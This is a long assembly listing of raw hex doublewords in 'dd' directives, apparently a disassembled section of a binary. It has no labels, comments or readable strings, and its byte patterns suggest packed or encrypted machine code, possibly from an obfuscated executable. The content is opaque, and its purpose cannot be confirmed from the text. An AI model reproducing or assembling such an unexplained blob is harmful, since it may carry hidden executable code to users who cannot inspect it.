		dd 0AEABB132h, 0D7B56819h, 0ACA38D8h, 56655865h, 4EBB132h
		dd 0E11ABFF8h, 92D21B2Fh, 0C2980378h, 0DFCAD2F0h, 36D4B06Eh
		dd 56E13B3Dh, 509CB132h, 2FBAB132h, 582FD90Ah, 37F7E00Dh
		dd 0A9A809CAh, 0EF534ECDh, 56D5B137h, 56EB3A3Dh, 0A580B132h
		dd 7534999h, 0BFA24ECFh, 56AEB13Bh, 5A259794h, 3F23882Ah
		dd 0D2DAD098h, 56EAB12Dh, 566C3D3Dh, 4253B132h,	4A5DB132h
		dd 973C90CEh, 3BD3Ch, 75739D07h, 9D41F7BDh, 5976FE5Ah
		dd 5675B6BEh, 573EBE32h
		dd 0AF5DB132h, 0BF52F4B9h, 5657B13Bh, 0FDAB2E31h, 0C6E6186Ah
		dd 500378F6h, 7C75B132h, 0A09A79EBh, 44DBBE19h,	0BFAEB132h
		dd 5657B13Fh, 61FEDD6Ah, 0D3549278h, 0B32C208Eh, 68C72E2h
		dd 56BD373Dh, 0DD52B132h, 56AEB133h, 5AFE0C7h, 56ABBBDBh
		dd 0FFCE0632h, 0C40BABEh, 0BEDD6393h, 56BAB132h, 2B73068h
		dd 0BFA881CAh, 5657B13Bh, 0E58727D6h, 0EC075AA9h, 5A6EBE96h
		dd 5975B132h, 56BAB7B7h, 56D8BE32h, 0DBAEB132h,	66F9FFA8h
		dd 56A15834h, 0E92AB132h, 0B7954F63h, 0F2D771D4h, 56BAD58Ah
		dd 56575832h, 8EDFB132h, 8E4E569Ch, 77C62E74h, 56D14FDAh
		dd 7654D132h, 3701607Fh, 59DABAB9h, 565DBCBAh, 56A95932h
		dd 0D9A5B132h, 979B220Dh, 473CEB8Eh, 99EAB132h,	0ECBC245Ch
		dd 0F567E55Bh, 0FB688002h, 5CD4205Ah, 36968A53h, 0A12060B9h
		dd 56A75853h, 5103B132h, 0D175B132h, 0C02A4402h, 1D5E8932h
		dd 97954436h, 56D0333Dh, 0D6CBB132h, 0A754AFFEh, 2B95904Fh
		dd 463EB253h, 56BB383Dh, 6DA1B132h, 422CBEF3h, 0AE57B132h
		dd 56AB9ADBh, 56DC5832h, 0BB9EB132h, 271C207Bh,	0BF94D946h
		dd 565DB155h, 56AEA2DBh, 16E26932h, 85100EFBh, 6B5736D6h
		dd 98878B81h, 0B00D175Ch, 56BAFBDBh, 57D2BE32h,	0AFAEB132h
		dd 0CE922BBFh, 0A953B703h, 56C658E1h, 0F83CB132h, 11C783E7h
		dd 0C5760959h, 0EAD2483Dh, 1436BCF1h, 564A58C3h, 0D1A4B132h
		dd 56D5B133h, 0BD703CCEh, 597380A9h, 56BAB6BCh,	0EC3BD132h
		dd 37560097h, 0DA262CDh, 56ABBADBh, 9BBDD832h, 8D7CBC1Bh
		dd 5C0C1206h, 0A3E2496Bh, 565DB4DBh, 0F8220732h, 0BF946BC1h
		dd 56ABB123h, 0DF8E2102h, 0E7BE7EAh, 1E20BEADh,	72A2800Fh
		dd 0DDA1E412h, 564649DEh, 0C57B132h, 0AF745BB3h, 0D5DAB702h
		dd 56EAB133h, 5F9CD1CEh, 58BAB132h, 0F9D8C3DBh,	1AA31EAEh
		dd 56523E3Dh, 0D7CDB132h, 371ABCF5h, 371FD152h,	74C0752h
		dd 0EC37D06Ch, 506D1F7Ch, 56A2383Dh, 0DB58B132h, 56ABB134h
		dd 56D5383Dh, 1361B132h, 567F583Ah, 0CAE1B132h,	62E6B3A9h
		dd 0C5E3F4F1h, 3037B6BBh, 0BEC80A89h, 56D5B137h, 10A8A653h
		dd 0DD14E893h, 0E1DABD77h, 0DF3C4D2Ch, 0D8A1B575h, 5657B133h
		dd 46EE3ACBh, 56D5A3DBh, 90CBD932h, 0C50E67C7h,	98B9C4BEh
		dd 71E4BF16h, 0DF00F196h, 59AEBD75h, 56ABB0BCh,	135E4832h
		dd 11634426h, 56655822h, 7B47B132h, 0CF2821Ch, 75AF8A46h
		dd 5755E834h, 0BFCACA16h, 56D5B123h, 471F826Eh,	2504DF81h
		dd 0B07FB63h, 76C88EB3h, 0A02FD14Fh, 51B81A87h,	0BF62D0C7h
		dd 56D5B135h, 0CE54A847h, 94A5BF6Fh, 3646B122h,	578F3152h
		dd 37F74D61h, 719E34F4h, 0BFECB718h, 56D5B13Ch,	0CA79FABEh
		dd 24309761h, 4F075FDBh, 4C3593C4h, 5906A641h, 5657B0BBh
		dd 0E3544832h, 50FF93FBh, 56EABDDBh, 5BADD732h,	2F2C5A7Dh
		dd 0CDAA17F5h, 5726BEEDh, 0AE57B132h, 0D70234BFh, 463CB71Fh
		dd 0B3EAB132h, 6D7D35F1h, 0D5E4CE07h, 3C8367ACh, 0A9762275h
		dd 565F58E2h, 0E37EB132h, 0E21FD109h, 0A3B874F1h, 0DDAA3A52h
		dd 0DC37D0CAh, 506D1EF4h, 9419BE52h, 5657A0DAh,	0D39BC632h
		dd 79F6CD7h, 3ABD5271h,	4B85BDD8h, 9830B78Fh, 590CD069h
		dd 56AEB0BEh, 0A9AB4932h, 59F144E2h, 56D5B0BDh,	0D4674832h
		dd 50451EF4h, 56B33D3Dh, 3DB132h, 0B02FD76Bh, 5936C86Ah
		dd 36A7F185h, 56D5A5DBh, 92F5CF32h, 81BD47FDh, 3771AA7Bh
		dd 0CA5DAB1Ah, 0C835A97Ch, 0D358D04Ch, 56ABB13Dh, 56D5BBDBh
		dd 9773CD32h, 790636F9h, 0DDF1E91Fh, 0A5D6D1EAh, 2A970954h
		dd 3637E353h, 4A6D3054h, 0C60F0E59h, 308BF44Bh,	591470B9h
		dd 3043D103h, 3762C98Bh, 55524968h, 0BF05D1F1h,	56ABB138h
		dd 8E7674DDh, 2549D712h, 362C3BD9h, 56BAA0DBh, 83235432h
		dd 5216C2B0h, 9D3F968Fh, 1E5177CEh, 37B4ABCAh, 7C1B33BBh
		dd 5915B718h, 56BAABBEh, 56495932h, 4437B132h, 0B33EBC48h
		dd 45CEC3BBh, 626B2C92h, 0C91FC836h, 0BE2F2630h, 56BAB122h
		dd 0FC54DE72h, 74850912h, 60E2AFECh, 7A698E0Ah,	0AAB4EECEh
		dd 5D65BE53h, 0BF75B132h, 56BAB134h, 0B68D6F2Eh, 366DC6EAh
		dd 7089AF8Dh, 0E951D000h, 6, 0E6861833h, 60525F6Fh, 0E861F5h
		dd 5A000000h, 0FC97EA81h, 830F0630h, 9,	19E98160h, 0F85009B9h
		dd 5E961h, 0B52C0000h, 52E4250Ch, 61F56060h, 68F0Fh, 890F0000h
		dd 0
		dd 0F1828B61h, 0F062A2Ah, 0B89h, 6E900h, 0CDA70000h, 902E789Eh
		dd 0C64E6DB9h, 9E941h, 0A4A00000h, 0EBB412DBh, 60B19D05h
		dd 0CDC09DBEh, 61E78A32h, 0BE9E1F7h, 0B000000h,	9D0DE604h
		dd 90BE6149h, 605A5039h, 3880Fh, 8B660000h, 390561C7h
		dd 60000030h, 5840Fh, 0D1BE0000h, 607A2662h, 0FE8h, 397C1500h
		dd 591A7324h, 0BE6ED6AEh, 2BFC1E07h, 6161605Fh,	0FFFF2561h
		dd 5E97FFFh, 0CB000000h, 2D4754h, 2AF18289h, 0E960062Ah
		dd 0Dh,	0B8D3CFC7h, 0FE3A0AE4h,	55D1912h, 6E81Fh, 0D2930000h
		dd 0E00DFBD2h, 5ED8E480h, 0FF85A61h, 0F8Eh, 0AE900h, 0E7590000h
		dd 41FCBC5Ah, 27F86B07h, 4880F59h, 60000000h, 0C361CC8Ah
		dd 1830Fh, 51F50000h, 6052F8F9h, 0DE957h, 2DA30000h, 0C30CAB44h
		dd 0EE3548DDh, 583FD611h, 0E861F28Bh, 0
		dd 0C8EA815Ah, 0F0630FDh, 1386h, 0EE900h, 42A40000h, 1EFE8E05h
		dd 0AC131155h, 90E58669h, 0AE960h, 18710000h, 5E1FB864h
		dd 109AEBA3h, 0FC88B61h, 682h, 78B56000h, 0E861DA8Bh, 0FFFFFE76h
		dd 60D233F5h, 0F556C88Bh, 0F1F7615Fh, 0FCC28BF9h, 6E95Ah
		dd 0D8D70000h, 78EE2AE4h, 0D88B6059h, 0BE850h, 91E70000h
		dd 693A27DFh, 0DFC42FD4h, 615F59B0h, 5E9h, 774FC900h, 0FC3F02Dh
		dd 182h, 0C08BF500h, 0E9C08BF8h, 7, 4F219F1h, 8DBE742Fh
		dd 30C47885h, 1820F06h,	0F8000000h, 66F8D0FFh, 8DFCC18Bh
		dd 30FC8285h, 88C0F06h,	60000000h, 3588B9F5h, 89614818h
		dd 2A182D85h, 0C880F06h, 60000000h, 71C88166h, 0DA816684h
		dd 0F5615C20h, 0FDA7858Dh, 0E8600630h, 13h, 649B0ED6h
		dd 4E5A891Dh, 0A5230E2Eh, 56C3EF83h, 0FE09D9Ah,	89h, 7E85E00h
		dd 0F8000000h, 89A73A4h, 0BF0F19E1h, 0F615AF9h,	188h, 8589F900h
		dd 62A1B95h, 1F800Fh, 66600000h, 14E8F28Bh, 0BA000000h
		dd 7D5B543Fh, 0ED3A33CBh, 4BF87FBFh, 2495CB1Fh,	58DA318Fh
		dd 0AE96061h, 71000000h, 33ACFDF8h, 0A4D7FD45h,	0EE9B0h
		dd 11DB0000h, 635D0B9h,	2A0A740Bh, 61CE16D4h, 0B861h, 0BE90000h
		dd 4E000000h, 60199FD2h, 621142F8h, 0C00BF663h,	19D840Fh
		dd 60FC0000h, 12E9h, 21014900h,	8921359Dh, 0B71E1056h
		dd 850C151Ah, 61B30759h, 27C985C6h, 6056062Ah, 0E8F98B66h
		dd 14h,	0BBE40734h, 91B6FFC6h, 437AD038h, 392AA182h, 0E9228C8Ah
		dd 0FC1AA1BEh, 6861594Bh, 0A9C530DFh, 17820Fh, 12E90000h
		dd 9D000000h, 90BE6149h, 79425039h, 5CF1DFCBh, 101A5826h
		dd 0C9B5FFD2h, 0E9062A22h, 11h,	1C3B41A8h, 257AFA48h, 0B26FA382h
		dd 927595E2h, 0A9858DCDh, 0F062D81h, 0B82h, 6E900h, 474D0000h
		dd 852790CCh, 0C8F0Fh, 870F0000h, 6, 860Fh, 0D0FF0000h
		dd 0D8F0FFCh, 0E9000000h, 8, 79DD7A42h,	3DEBECFCh, 1870F50h
		dd 0FC000000h, 3D8D8DF9h, 0FC062A00h, 17830F51h, 0E9000000h
		dd 12h,	0E160F89Eh, 0C768901h, 0B08FBDDCh, 0B3CD8BFh, 46AEC7Ah
		dd 7890Fh, 80600000h, 616011EDh, 10006861h, 0FFF90000h
		dd 2A226DB5h, 9E906h, 0F91D0000h, 95B9BCEDh, 0FF3605FAh
		dd 10E9D0h, 47F0000h, 0F77B6ADAh, 0ACF015D6h, 1AF25F14h
		dd 0BD8B39C2h, 62A226Dh, 88A0Fh, 8B0F0000h, 2, 3FC6160h
		dd 860F3C7Fh, 9, 0D3816660h, 61600E31h,	0F8C78161h, 60000000h
		dd 6E9h, 147EC200h, 0E921E551h,	8, 983BF21h, 5F940A66h
		dd 2447C761h, 60000020h, 19890Fh, 14E90000h, 64000000h
		dd 0E3A4E8C1h, 7F957C6h, 0A6B74A13h, 0EE205067h, 8D92DF56h
		dd 2A10859Dh, 0FFC6006h, 0F61FEB7h, 181h, 38BFC00h, 0FC00BF9h
		dd 4584h, 138A0F00h, 0E9000000h, 0Eh, 5DE451A5h, 7C37F762h
		dd 8314DC3h, 8B64DEh, 0DE9h, 20059400h,	0B75AD88Dh, 70D259B6h
		dd 43890FF1h, 0F8E0F04h, 0E9000000h, 0Ah, 0B57158A3h, 5DC6B93Fh
		dd 0F6B9F59Ch, 8D00234Ch, 3101D78Dh, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8D89C29Eh
		dd 62A3395h, 0BF985C7h,	5A10062Ah, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 85C7B7C3h
		dd 62A06C5h, 0
		dd 25598D89h, 5F57062Ah, 2D0DB5FFh, 5E9062Ah, 4C000000h
		dd 0E834E29h, 5C195FFh,	0BD8B062Ah, 62A07C9h, 95FF006Ah
		dd 62A3439h, 6DEBC08Bh,	4FEA812Eh, 8BCEA08Eh, 0B1B4F00Dh
		dd 5A5BEBA2h, 0BACFD848h, 21162BFh, 9646F189h, 428995AEh
		dd 0A9EE5DB8h, 0FDCF11F9h, 2A7187E9h, 0BC72F6E9h, 4682C654h
		dd 0E51EFE1h, 2D29AD1Ch, 1DD64FA2h, 1DFA3D73h, 0DBBF29CFh
		dd 585FBA6Fh, 7A6F1B2Dh, 0AA6E4A78h, 0F3387A2Fh, 0F10547BCh
		dd 76BAF48Ah, 5CF297Fh,	8D525289h, 0BF5DFB82h, 0BE8EFh
		dd 0CAB60000h, 0B7D8200Ah, 0EBF4A124h, 9E9C5h, 3EA50000h
		dd 407F973Dh, 59B3EFB3h, 1B01B533h, 0C181062Ah,	750Fh
		dd 5E9h, 6A126900h, 61B87E63h, 813BC563h, 0C57E68F0h, 13E93Bh
		dd 7A0F0000h, 5A1D2718h, 0BA9B74FAh, 0C02BA6F3h, 6B6E0D71h
		dd 80398B71h, 0C78188DAh, 7D17A78Eh, 0C105DB81h, 0EF81130Ch
		dd 3B074063h, 78DB50Bh,	0F781062Ah, 78FE40C2h, 11830Fh
		dd 5E80000h, 0E000000h,	32AAB3ADh, 34059589h, 575E062Ah
		dd 16019D89h, 18F062Ah,	1469958Bh, 0E981062Ah, 34625BE7h
		dd 18EA8166h, 0E3C18124h, 6034625Bh, 5B58589h, 9BBF062Ah
		dd 611A04EBh, 0F01E883h, 1A85h,	0F08B6600h, 24E9h, 5002AE00h
		dd 0CE65EF75h, 0EA90F9F6h, 37C9C848h, 0F8576A0Eh, 0FFFF70E9h
		dd 70C3B1FFh, 0B1022938h, 16F1B920h, 348D8DA1h,	6A063104h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 4EEBC355h, 2465B58Bh, 8C0F062Ah, 6, 32659D31h
		dd 8D89062Ah, 62A3395h,	0D2DEBF66h, 0BF985C7h, 69CC062Ah
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0F6DFDAC3h, 0D3560A58h, 0E9590111h, 11h
		dd 9560EC43h, 7575B66Bh, 0A033B972h, 4235C4FDh,	8A0FACh
		dd 0C7000000h, 2A06C585h, 6, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 16D84942h
		dd 0E1B5FFAAh, 0E9062A28h, 9, 0C0C4425Dh, 0D735A350h, 0C195FFACh
		dd 6A062A05h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0DF32C357h, 0A7E2441Eh, 0FF006A34h
		dd 2A343995h, 0EBC08B06h, 147CDA7Ch, 0DEA475AFh, 17D9C3A8h
		dd 579785EAh, 7576B050h, 44228935h, 6408A7F6h, 90C59A8h
		dd 7196B359h, 94D96E8Bh, 6B7176E4h, 0CD4626B2h,	1B464C47h
		dd 0C9940CCEh, 0D86AB99Bh, 534C2201h, 0F3168316h, 7D280A42h
		dd 0D9078FCAh, 0FB2898C3h, 3CC90FE3h, 0A03518Ah, 0F0ECB36Fh
		dd 0FC1D293Dh, 3859ED0h, 7FA6BF5Eh, 6ED57299h, 1ED247C3h
		dd 0B1C2E2C1h, 0A7E4F3E0h, 1AB31D96h, 10E819h, 0B5A00000h
		dd 3B526818h, 39E037h, 729BAC45h, 8956AB6Fh, 2A28998Dh
		dd 89585A06h, 2A1561B5h, 86C08106h, 3000064h, 2A0DF195h
		dd 9575BB06h, 0C3815153h, 0AEAC8389h, 82F28166h, 8B30FF8Ch
		dd 2A0B318Dh, 0EF815F06h, 5E07284Ah, 33E1958Bh,	0EF81062Ah
		dd 7E475087h, 48B0Fh, 0BE660000h, 0EF81CAD3h, 1F877618h
		dd 1EE8166h, 5E9571Ah, 21000000h, 0A94A45EEh, 958B008Fh
		dd 62A1829h, 0B104E883h, 1EB83DBh, 0FFAF850Fh, 8D29FFFFh
		dd 62A1B15h, 2FE9h, 6ABF5700h, 4Bh, 0Ah	dup(0)
		dd 4F9E9h, 2636B200h, 412DD48Ch, 5E14EFA7h, 7EFA0CC4h
		dd 9CD82CE4h, 0D85C2602h, 0F6AE482Ch, 15CD670Fh, 36EE88D2h
		dd 240AA4CCh, 821F160Bh, 0BA028A0h, 0A5CB373Bh,	0D3A163BBh
		dd 0EF818139h, 1B55AD05h, 4628D931h, 0EC9B3C5Ch, 6F7D3EF7h
		dd 31168122h, 8462C485h, 82A299B2h, 2749B98Fh, 1858AA78h
		dd 3DC5932Eh, 0B7AE4933h, 0C04614ADh, 9076CEB8h, 5263FEE8h
		dd 0E3E116Dh, 0D5CC6EA9h, 5B0A5097h, 7FE788Dh, 0B8A245FDh
		dd 0A8C63B09h, 0D22C23BEh, 1EB8B7Ah, 2C1658A9h,	5B4531D4h
		dd 99B2A52Fh, 0BC92859Fh, 0DD952F2Bh, 0E2614B25h, 226F9F58h
		dd 715D5078h, 0D2E73059h, 6477h, 0A756AF00h, 6F7D83B2h
		dd 0DA9E6822h, 38766DD8h, 3DBCA6CAh, 226F7CFEh,	7B650FF5h
		dd 0AB95E323h, 11A0D27h, 7F3E60Eh, 0D2E70DC3h, 0A2D431FFh
		dd 19AABh, 56D20000h, 0FEF57988h, 432D41C0h, 6E5816EBh
		dd 0D988F016h, 0CA0299F4h, 6FE960D5h, 7EC5722h,	5D544F13h
		dd 4E41E303h, 4BE58978h, 67016F93h, 60715695h, 4F27DED0h
		dd 39E5CA65h, 0B5F3EA28h, 23B254Fh, 0BE67C11Dh,	4B42D793h
		dd 48BDF40Dh, 17EC442Eh, 0C5D6715Bh, 615605B4h,	227033D4h
		dd 2F8980EBh, 0CEA497A1h, 0C18F3E36h, 0AF4A3426h, 595022E1h
		dd 56B974Fh, 3240C31Bh,	0CABDED48h, 0C66F6413h,	0F9227033h
		dd 9743978Eh, 59D2E7BEh, 69h, 6905FCCAh, 2A70C5BAh, 0DC472270h
		dd 71568DE5h, 0F54035E7h, 6FADA49Bh, 9DF5DF95h,	2220C66h
		dd 6D976D60h, 6D46D07h,	6900A0FCh, 695F3AC5h, 0DCD36E58h
		dd 240E669Eh, 543E3ACCh, 0EAD6C9F9h, 0D2E718F0h, 5100h
		dd 0CD373800h, 8265BDA7h, 8C5B29D8h, 0B6ABE4CEh, 226F7D7Fh
		dd 0CDC4D540h, 0A5982873h, 0A53F35CFh, 0A4CA37D3h, 7CFF3BBAh
		dd 0A7CF226Fh, 0E02C8B4h, 11C0D2E7h, 6F71191Ch,	3C339E22h
		dd 112Bh, 0B0B79C00h, 366803EAh, 0C5CD3E3h, 9D91CA27h
		dd 0CC374EA6h, 9E64BCA6h, 7CF63F34h, 5EC9226Fh,	0C5DF634Dh
		dd 9A4D1BD2h, 7D082D22h, 44AF226Fh, 5FE3C33h, 1A0FBE6Dh
		dd 226F7D1Bh, 0C344F4B9h, 31330A6Ch, 2CC5CFC6h,	1C52AF7Dh
		dd 70010E27h, 260F0422h, 99227001h, 0CAC12C2Eh,	47F63F94h
		dd 192A398h, 0E6252270h, 0A43707DAh, 0DBD2E3C1h, 783C7BCh
		dd 333C2446h, 9A00F73Eh, 6A06FC28h, 78E3E580h, 161D4C9h
		dd 0EB56289Ah, 9D462BDAh, 2F96746Dh, 0B8F83BD7h, 8A9B4BEEh
		dd 21E13993h, 0C2447192h, 20BBA5B6h, 0F7DC750Fh, 0D6CF6364h
		dd 0EC2A216Dh, 0DDAB5A16h, 0CB66500Ah, 40FB7AD4h, 0B728999Eh
		dd 0E33B254Bh, 0E86C5604h, 105DBCEh, 15A56677h,	0E6B64C22h
		dd 0D359A4F8h, 0A8C63BFFh, 34EC8697h, 60B8A2CEh, 56E4CEA2h
		dd 7F83594Ch, 418957F1h, 8FD9117Eh, 102h, 0A1EA3FC7h, 59EDFDF2h
		dd 47B22445h, 823F245Dh, 73C2B7A8h, 44289A44h, 351AF4D9h
		dd 105F02E7h, 0B4D8F92Ah, 0ED837FBDh, 1F70593Eh, 0AC803EC7h
		dd 97321C58h, 0CD858F86h, 18513B35h, 8CC17469h,	8BF62899h
		dd 0C4AC5694h, 4F424CDAh, 4DE78979h, 111E4B7Fh,	4885D9h
		dd 28F60000h, 48A097DBh, 0EE9DE63Fh, 7CEB4A3Fh,	61CC226Fh
		dd 7F564B6Ah, 405D9083h, 827726D5h, 0A26F7CB3h,	0A9ABAF38h
		dd 0AF46681h, 0D675E6Fh, 6F7CA78Eh, 0FBEE78A2h,	0DC8BD42Dh
		dd 9082EEE7h, 8C2691DDh, 61E0h,	0EA3F1E00h, 0A5FDF2A1h
		dd 0EA244573h, 0C53D957Fh, 0A95911ABh, 625EDDC7h, 6428998Bh
		dd 0F70BE1D4h, 0DA2FDF79h, 7DEDE291h, 422A8889h, 2FC55C03h
		dd 0A4B59802h, 0E45146F5h, 0DB228B53h, 0C71F7970h, 0C74B353Bh
		dd 97ECBAADh, 22F09F4Eh, 0FAA94E4h, 51B7B318h, 5F68247Ah
		dd 9A4ECB6Ah, 7081EC28h, 0EA3F04D6h, 9443F2A1h,	6F7D969Fh
		dd 0C7BE2922h, 5E7A0862h, 9F4EB924h, 119CA8BAh,	8980ADBBh
		dd 452BD72Fh, 610FF3ABh, 8AA9F877h, 0B0527566h,	551BE7BDh
		dd 71FF03BBh, 6612F4C2h, 49BD156Fh, 0A7C1452Fh,	0D42FFDB4h
		dd 9969A79Eh, 7D853DD7h, 8E7644F3h, 4995EFE6h, 3, 37D62E87h
		dd 69C1ABB1h, 95EDD799h, 0C61E0852h, 0F54D373Fh, 237B650Fh
		dd 51A993E1h, 81D9C3B5h, 0AE06F082h, 16311B53h,	662C68h
		dd 24148900h, 689C68h, 24148900h, 81E68956h, 4C6h, 4EE8300h
		dd 5C243487h, 53241C89h, 310585BBh, 5B5A5306h, 64EA68h
		dd 24248900h, 4240481h,	5B000000h, 89D58955h, 2C8B086Bh
		dd 4C48324h, 5B2434FFh,	8B04C483h, 89562414h, 4C681E6h
		dd 83000000h, 348704C6h, 0B3E95C24h, 84FFF973h,	1BD5E16Ch
		dd 10B891B7h, 306310Ah,	29E0FFC5h, 0AD2E5A89h, 940183B9h
		dd 684151B4h, 4E66161Dh, 0C5DF33Fh, 1436AF6Fh, 0FF08F5C9h
		dd 0F473C90Ah, 99485322h, 0C949850Ch, 560FA0ADh, 50728CA2h
		dd 790A5D2Bh, 29351A50h, 3104482Dh, 0AC7C6225h,	0E7362F80h
		dd 0E81E9B5Ah, 0Fh, 6F669453h, 1C3DB5DFh, 0E23225AAh, 817EA415h
		dd 0F19240C7h, 8A0F5B5Fh, 19h, 14E9h, 0C2201400h, 33D997F7h
		dd 6BDA6740h, 4EFF4EADh, 7FFAE7B9h, 63C3818Dh, 66000064h
		dd 0E8AFCF81h, 68h, 0E9606000h,	5, 0CF0D58BFh, 61616099h
		dd 62A15EB9h, 52586110h, 9E851h, 4CF50000h, 0A931FC8Ch
		dd 598B33CAh, 148B595Eh, 87EA8103h, 8A628E48h, 30EA81ECh
		dd 6656895Eh, 810CEABFh, 0F23CF5C2h, 0C5F6815Ah, 89471D1Ch
		dd 0B70F0314h, 8C0FF9h,	83000000h, 0BE6604E8h, 0F8810BBCh
		dd 0FFFF9C48h, 0FFC0850Fh, 0E9F8FFFFh, 1Bh, 3B50C06h, 5	dup(0)
		dd 0E9000000h, 0AD8h, 310D2768h, 3DA8E906h, 5A68FFFAh
		dd 0E906310Eh, 0FFFA3D9Eh, 31101768h, 3D94E906h, 0D368FFFAh
		dd 0E9063110h, 0FFFA3D8Ah, 31121E68h, 3D80E906h, 0A268FFFAh
		dd 0E9063113h, 0FFFA3D76h, 31148E68h, 3D6CE906h, 0B1EFFFFAh
		dd 3A758D26h, 8DFC14ADh, 6859D36h, 941028C1h, 0EAD1B44Dh
		dd 0D26B7A2Eh, 5AF3CABAh, 0E47D4042h, 710AD9CCh, 40C7DD8Ah
		dd 0BB16C533h, 0A8DD31C1h, 0CDB8F01Bh, 99D45DF6h, 0A3DDF332h
		dd 84232062h, 332C5F4Ah, 4289E05Ch, 7D3D681Ah, 2E53A0CBh
		dd 0CB799118h, 0A7BD0C16h, 16CB7A20h, 0E827D99Bh, 0CB7A4BD2h
		dd 0F704C616h, 0CB7A36C1h, 0C6D60D16h, 7F300C7h, 164D7494h
		dd 35B0A856h, 1B000000h, 1843940Bh, 6C454B58h, 7B8BCA31h
		dd 62A7B40Bh, 20684A4Ch, 0BAF9BB23h, 2A6A69C6h,	0B4C1E7ACh
		dd 3EBA4583h, 0B39116CBh, 29F920E8h, 0DE5CA856h, 6000000h
		dd 0F01BA8DDh, 0CAF5CCB8h, 0E725897Dh, 0A629016Ah, 0A73C6999h
		dd 0A62D4368h, 211CF550h, 0E921525Fh, 708E27BCh, 1CF555B3h
		dd 1DB60D78h, 18AFE0F0h, 4C3CC3D9h, 0F5B71CF5h,	0F6CDB8E8h
		dd 846B22CBh, 732D2F45h, 0DC9E231Fh, 1C83BA43h,	0DFA5C7DDh
		dd 7561CF7h, 9E696AF1h,	7123E510h, 0E6612232h, 436E20A7h
		dd 0C317683h, 6CACC718h, 0D3E08CCFh, 47E0E7A3h,	0C66C7B2Fh
		dd 6381361Bh, 0ACA992CBh, 0B6000008h, 3C54EDF8h, 0C3DB7443h
		dd 4C64FDC2h, 0D7EF885Fh, 987B14D3h, 34B3F7B1h,	0BC03839Bh
		dd 46990B23h, 0D31095ADh, 90A6533Ah, 16C53109h,	0C8FA8A84h
		dd 0BF1EA2D4h, 202D1C22h, 942DB4F0h, 0A52C4267h, 201CF5C5h
		dd 13D9505Eh, 0E10ECC6Eh, 0E2E1A4D4h, 9C0C1C49h, 4D5A1A45h
		dd 0CA316C47h, 5256668Bh, 75306893h, 79AFBC6Eh,	23206877h
		dd 0BDFB26E8h, 16CC1332h, 0A1CC1393h, 77A13669h, 0E485B037h
		dd 49FD9B00h, 31A41E12h, 0EA1D814Dh, 5EAAF1DDh,	0A85663B7h
		dd 0D29Ah, 0A8DD4400h, 0E3E8DC1Bh, 456FA8B0h, 0A427380h
		dd 1408479Eh, 0C1DDC740h, 8CBDCA08h, 0F5C2914Eh, 9453561Ch
		dd 0CABECEFBh, 0CBBEEEFBh, 7528D1FCh, 0B95CE3F9h, 15D71CF5h
		dd 0C0E2463h, 46231FE0h, 64717436h, 72FB9456h, 8595D43Bh
		dd 6FB4C106h, 0F8492659h, 0F837F91Ch, 1C6C3D3h,	0DBF0BAD6h
		dd 0B841B799h, 2AB1C706h, 0A5109E71h, 0E2A6D6E3h, 0D5B0A4E3h
		dd 0DC637972h, 57109E99h, 0F28D8795h, 860D2362h, 1109F2Ch
		dd 7B93323Fh, 6D12B80Fh, 0FD63818Ch, 779DBC4h, 0D830000h
		dd 960921BAh, 1190A841h, 6A1931CAh, 0E0A4BC55h,	7E6548E1h
		dd 66FFC6C2h, 0EE875E4Eh, 7811D4D6h, 59E2560h, 0D45B711Eh
		dd 4F16C52Fh, 0A9DDC555h, 3C69811Ah, 0DD200EA7h, 0B8F01BA8h
		dd 0D45DF6CDh, 0CEF33299h, 3E0C93A9h, 0C5871CF6h, 4D9082B8h
		dd 1FE12320h, 66B3A7F4h, 64E4FDC7h, 0FFAADAE7h,	72374FE8h
		dd 0A20C4A75h, 0C19E11B0h, 96CEF9CEh, 61A5D017h, 9C801883h
		dd 0A6E33D5Eh, 6BEEE221h, 0DDA22893h, 0FF17B6C3h, 0EEFE3D8Ah
		dd 121927BEh, 30A9B9A5h, 1E5C8D9Ah, 8F855994h, 25FBA094h
		dd 9DCA6360h, 59DB6278h, 94568F85h, 95A2356Ah, 17472065h
		dd 6A0BEC2Bh, 7AC7F2A4h, 97A43B6Ah, 85B4D361h, 6F94D18Fh
		dd 6D9D2A5Fh, 8F85B4E6h, 0A6929F61h, 697E2BF5h,	7ECDB8D0h
		dd 0CC8CB70Eh, 1746EF1Ah, 416C7330h, 7A90CF81h,	95AFE060h
		dd 1DA63F01h, 3C830360h, 609F5111h, 85BDD44Ah, 8702F68Fh
		dd 9D1BFCCFh, 0F7B9C7D4h, 46048ECCh, 0FBD98331h, 2A4168A0h
		dd 43A437B8h, 0F000003h, 2C398EFFh, 9028C626h, 3A3576DDh
		dd 8D4D784Fh, 3EF0B0DBh, 6627E9FFh, 56182320h, 0FFAABA4Fh
		dd 16BE455Bh, 773916CCh, 3782B8C5h, 0A797DAE9h,	0B4CA09F6h
		dd 9BE767F2h, 9AACC5E3h, 59D24663h, 0A2F7CA7h, 93046DF4h
		dd 149BB18Fh, 8F8F9304h, 0F603C5CDh, 74B31855h,	7A4D3F4Fh
		dd 4C828F4Fh, 95C0856Ah, 0A69AD99Bh, 0C0A9149h,	0A73C6960h
		dd 7EA3E8F5h, 81AC3B6Eh, 184B4C1h, 3E8F83C2h, 10EA5581h
		dd 0C39D8E5h, 273483FCh, 8F35B2F7h, 0DC486C70h,	0BC6E5790h
		dd 0C6000005h, 4C64FDC8h, 0D3EB8453h, 5C740DD2h, 0E7FF982Fh
		dd 0A88B24A3h, 448307C1h, 0CC1393ABh, 56691B33h, 0E3E0A5BDh
		dd 0A0B6634Ah, 16C52E19h, 6C0A9A94h, 2ACC6E31h,	82B76985h
		dd 897B91D0h, 0DA231FFEh, 2060EFA0h, 0C8BDE799h, 0E61E49FBh
		dd 0B5F924A3h, 0B2EBC4D7h, 6F80E4Dh, 571CF5EFh,	0A6586F1Dh
		dd 33B0F50Dh, 704A00F4h, 7965763Fh, 86033B6Ch, 327F1641h
		dd 0BD70F70Dh, 29EB10A1h, 0B56B301Ch, 2A5AF3F0h, 0A2285783h
